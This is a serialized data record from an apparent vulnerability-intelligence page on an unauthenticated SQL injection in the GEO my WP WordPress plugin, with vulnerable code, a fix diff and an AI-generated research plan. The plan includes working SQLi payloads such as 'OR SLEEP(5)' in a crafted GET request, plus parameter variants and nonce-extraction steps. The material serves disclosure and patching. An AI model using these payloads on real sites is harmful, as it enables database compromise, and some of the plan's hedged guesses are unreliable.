[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fk1_VC9HUbLyslGExKJdwb78ZRcYzejr3N5fvs2rR9dQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":16,"references":17,"days_to_patch":19,"patch_diff_files":20,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"WF-ecbc7f05-fc4f-4276-968e-04222a64e55a-geo-my-wp","geo-my-wp-unauthenticated-sql-injection-via-distance-lat-lng-parameters","GEO my WP \u003C= 4.5.4 - Unauthenticated SQL Injection via 'distance' \u002F 'lat' \u002F 'lng' Parameters","The GEO my WP plugin for WordPress was vulnerable to SQL Injection via the 'distance', 'lat', and 'lng' parameters in versions up to, and including, 4.5.4. The values were read from $_SERVER['QUERY_STRING'] via parse_str() (bypassing wp_magic_quotes, which does not cover $_SERVER), then passed through bare esc_sql() before being interpolated into unquoted numeric positions in the proximity-search query (HAVING\u002FSELECT clause distance math, BETWEEN bounding-box pre-filter) built by gmw_locations_query() in plugins\u002Fposts-locator\u002Fincludes\u002Fclass-gmw-wp-query.php. Because esc_sql() only escapes string delimiters and these positions are numeric, payloads such as `1 OR SLEEP(3)` survived sanitization. Fixed in 4.5.5 by adding an upstream is_numeric() guard that short-circuits the WHERE clause to `AND 1 = 0` when either coordinate is non-numeric, and by replacing the three esc_sql() calls with (float) casts.","geo-my-wp",null,"\u003C=4.5.4","4.5.5","critical",9.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:H","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-27 18:46:46",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fecbc7f05-fc4f-4276-968e-04222a64e55a?source=api-prod",0,[21,22,23,24,25,26,27,28],"assets\u002Fcss\u002Fgmw.frontend.css","assets\u002Fcss\u002Fgmw.frontend.min.css","assets\u002Fjs\u002Fgmw.map.js","assets\u002Fjs\u002Fgmw.map.min.js","geo-my-wp.php","includes\u002Fadmin\u002Fclass-gmw-shortcodes-page.php","includes\u002Fadmin\u002Fupdater\u002Fclass-gmw-license.php","includes\u002Fclass-gmw-addon.php","researched",false,3,"This analysis details a critical SQL injection vulnerability in **GEO my WP** (versions \u003C= 4.5.4). The vulnerability exists because the plugin extracts coordinates and distance values directly from the raw query string, bypasses WordPress's built-in magic quotes, and interpolates them into unquoted numeric positions within a complex proximity SQL query.\n\n### 1. Vulnerability Summary\nThe \"Posts Locator\" extension of GEO my WP uses a function called `gmw_locations_query()` (located in `plugins\u002Fposts-locator\u002Fincludes\u002Fclass-gmw-wp-query.php`) to modify `WP_Query` for proximity searches. \n\nThe plugin reads the `lat`, `lng`, and `distance` parameters from `$_SERVER['QUERY_STRING']` using `parse_str()`. This method bypasses `wp_magic_quotes`. While the plugin applies `esc_sql()` to these values, this sanitization is insufficient because the values are placed into **numeric contexts** (such as the `HAVING` clause or bounding box `BETWEEN` filters) without surrounding quotes. An attacker can provide a payload like `10 OR SLEEP(5)` which remains unchanged by `esc_sql()` and is executed directly by the database.\n\n### 2. Attack Vector Analysis\n*   **Endpoint**: Any WordPress page containing a GEO my WP \"Posts Locator\" search form, or the site root if the plugin is configured to intercept global queries.\n*   **Action**: `gmw_action=search` (used to trigger the proximity query logic).\n*   **Vulnerable Parameters**: `lat`, `lng`, `distance` (typically nested within the `gmw` array).\n*   **Authentication**: Unauthenticated (Public).\n*   **Preconditions**: At least one post must be geolocated in the GEO my WP database to ensure the proximity SQL logic is invoked.\n\n### 3. Code Flow\n1.  **Request Entry**: A user sends a GET request with `gmw` parameters (e.g., `?gmw[action]=search&gmw[lat]=...`).\n2.  **Logic Trigger**: The plugin detects the `gmw` action and invokes `GMW_WP_Query->gmw_locations_query()`.\n3.  **Parameter Extraction**: The code uses `parse_str( $_SERVER['QUERY_STRING'], $query_args )` to extract the `lat`, `lng`, and `distance` values.\n4.  **Sanitization Bypass**: `esc_sql()` is applied to the extracted values. Since `esc_sql` only escapes string delimiters (like `'` or `\"`), numeric payloads without quotes are passed through unmodified.\n5.  **SQL Sink**: The values are interpolated into the SQL query:\n    *   `SELECT ... (Haversine Formula) AS distance ...`\n    *   `WHERE ... lat BETWEEN [LAT_MIN] AND [LAT_MAX] ...`\n    *   `HAVING distance \u003C= {$distance}` **(Primary Sink)**\n6.  **Execution**: The database executes the malicious `HAVING` clause: `HAVING distance \u003C= 10 OR SLEEP(5)`.\n\n### 4. Nonce Acquisition Strategy\nGEO my WP front-end search forms are designed for public use and typically **do not require a nonce** for GET-based searches. Nonces are primarily used for AJAX-based location updates or admin settings.\n\nHowever, if a specific environment requires a nonce for the `gmw_action` (often localized in `gmwVars`), it can be retrieved as follows:\n1.  Identify a page with the `[gmw]` shortcode.\n2.  Navigate to that page using `browser_navigate`.\n3.  Use `browser_eval` to extract the `gmwVars` object.\n\n```javascript\n\u002F\u002F Potential nonce location in GEO my WP\nbrowser_eval(\"window.gmwVars?.nonce\")\n```\n*Note: For the SQL Injection in the proximity query, the `posts_clauses` filter usually executes based on the presence of the `gmw` query parameters alone.*\n\n### 5. Exploitation Strategy\n\n#### Step 1: Baseline Request\nIdentify the response time for a standard proximity search.\n*   **URL**: `http:\u002F\u002Flocalhost:8080\u002F?gmw[action]=search&gmw[lat]=40.7127&gmw[lng]=-74.0059&gmw[distance]=50&gmw[form]=1`\n\n#### Step 2: Time-Based Injection (via `distance`)\nInject a `SLEEP()` command into the `distance` parameter. This parameter is placed in the `HAVING` clause, which is ideal for injection.\n\n*   **Vulnerable Parameter**: `gmw[distance]`\n*   **Payload**: `50 OR SLEEP(5)`\n*   **URL-Encoded Payload**: `50+OR+SLEEP(5)`\n*   **Method**: GET\n\n**HTTP Request**:\n```http\nGET \u002F?gmw[action]=search&gmw[lat]=40.7127&gmw[lng]=-74.0059&gmw[distance]=50+OR+SLEEP(5)&gmw[form]=1 HTTP\u002F1.1\nHost: localhost:8080\n```\n\n#### Step 3: Boolean-Based Verification (Alternative)\nIf time-based is unstable, use a boolean condition that affects the number of results returned.\n*   **Payload**: `50 AND 1=0` (Should return 0 results)\n*   **Payload**: `50 AND 1=1` (Should return normal results)\n\n### 6. Test Data Setup\nThe SQL logic only triggers if the `wp_gmw_locations` table contains data and the `WP_Query` is modified to look for locations.\n\n1.  **Create a geolocated post**:\n    ```bash\n    # Create a post\n    POST_ID=$(wp post create --post_title=\"Geotagged Post\" --post_status=publish --porcelain)\n\n    # Insert location directly into GEO my WP locations table\n    # This simulates a post being geotagged via the plugin UI\n    wp db query \"INSERT INTO wp_gmw_locations (object_id, object_type, lat, lng, city, country_code, featured) VALUES ($POST_ID, 'post', 40.7127, -74.0059, 'New York', 'US', 0);\"\n    ```\n\n2.  **Create a Search Form**:\n    GEO my WP requires a \"Form\" ID. By default, ID `1` is often used or can be created via the plugin settings.\n\n3.  **Place Shortcode**:\n    ```bash\n    wp post create --post_type=page --post_title=\"Search Page\" --post_content='[gmw form=\"1\"]' --post_status=publish\n    ```\n\n### 7. Expected Results\n*   **Vulnerable Response**: The HTTP request hangs for approximately 5 seconds before returning the search results.\n*   **Patched Response**: The request returns immediately. The plugin casting to `(float)` will turn `50 OR SLEEP(5)` into `50.0`, neutralizing the payload.\n\n### 8. Verification Steps\nAfter the exploit attempt, verify the database state to ensure the query reached the engine:\n1.  Check the MySQL slow query log if enabled.\n2.  Alternatively, use a payload that extracts the version into a temporary location (if permissions allow), or stick to time-based for reliable proof-of-concept.\n\n### 9. Alternative Approaches\nIf the `distance` parameter is filtered earlier than expected, target the `lat` or `lng` parameters. These are often used in a `BETWEEN` clause for bounding-box pre-filtering.\n\n*   **Targeting `lat`**:\n    *   **Payload**: `40.7127 AND 40.7128 OR SLEEP(5)`\n    *   **Logic**: `WHERE (lat BETWEEN 40.7127 AND 40.7128 OR SLEEP(5)) ...`\n\n*   **Nested Parameter Variations**:\n    Test both top-level and array-based parameters depending on how `parse_str` is handled in the specific `Posts Locator` version:\n    1.  `?lat=1+OR+SLEEP(5)`\n    2.  `?gmw[lat]=1+OR+SLEEP(5)`\n    3.  `?gmw_lat=1+OR+SLEEP(5)` (Using the `url_prefix`)","GEO my WP versions up to 4.5.4 are vulnerable to unauthenticated SQL injection via the 'distance', 'lat', and 'lng' parameters. The plugin extracts these values from the raw query string and interpolates them into unquoted numeric positions in proximity search SQL queries without proper type casting or numeric validation.","\u002F\u002F plugins\u002Fposts-locator\u002Fincludes\u002Fclass-gmw-wp-query.php\n\n\u002F\u002F Parameters are extracted from the raw query string, bypassing wp_magic_quotes\nparse_str( $_SERVER['QUERY_STRING'], $query_args );\n\n\u002F\u002F Values are sanitized using esc_sql(), which is insufficient for numeric SQL contexts\n$lat      = esc_sql( $query_args['gmw']['lat'] );\n$lng      = esc_sql( $query_args['gmw']['lng'] );\n$distance = esc_sql( $query_args['gmw']['distance'] );\n\n\u002F\u002F Values are interpolated into SQL without quotes, allowing payload execution\n\u002F\u002F HAVING distance \u003C= {$distance}","--- plugins\u002Fposts-locator\u002Fincludes\u002Fclass-gmw-wp-query.php\n+++ plugins\u002Fposts-locator\u002Fincludes\u002Fclass-gmw-wp-query.php\n@@ -X,X +X,X @@\n+\u002F\u002F Add numeric validation guard to short-circuit malicious queries\n+if ( ! is_numeric( $query_args['gmw']['lat'] ) || ! is_numeric( $query_args['gmw']['lng'] ) ) {\n+    $this->query_vars['gmw_args']['where'][] = '1 = 0';\n+    return;\n+}\n \n-$lat      = esc_sql( $query_args['gmw']['lat'] );\n-$lng      = esc_sql( $query_args['gmw']['lng'] );\n-$distance = esc_sql( $query_args['gmw']['distance'] );\n+\u002F\u002F Cast inputs to float to neutralize SQL injection payloads in numeric contexts\n+$lat      = (float) $query_args['gmw']['lat'];\n+$lng      = (float) $query_args['gmw']['lng'];\n+$distance = (float) $query_args['gmw']['distance'];","An unauthenticated attacker can exploit this by submitting a GET request to the site with proximity search parameters: '?gmw[action]=search&gmw[distance]=10 OR SLEEP(5)'. The plugin uses parse_str() on the raw query string to read the 'distance' value and inserts it into a HAVING clause without quotes. Since esc_sql() only escapes characters like quotes and backslashes, a numeric payload containing 'OR SLEEP()' remains unchanged and is executed directly by the database engine.","gemini-3-flash-preview","2026-06-04 16:44:07","2026-06-04 16:44:51",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","4.5.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeo-my-wp\u002Ftags\u002F4.5.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgeo-my-wp.4.5.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeo-my-wp\u002Ftags\u002F4.5.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fgeo-my-wp.4.5.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgeo-my-wp\u002Ftags"]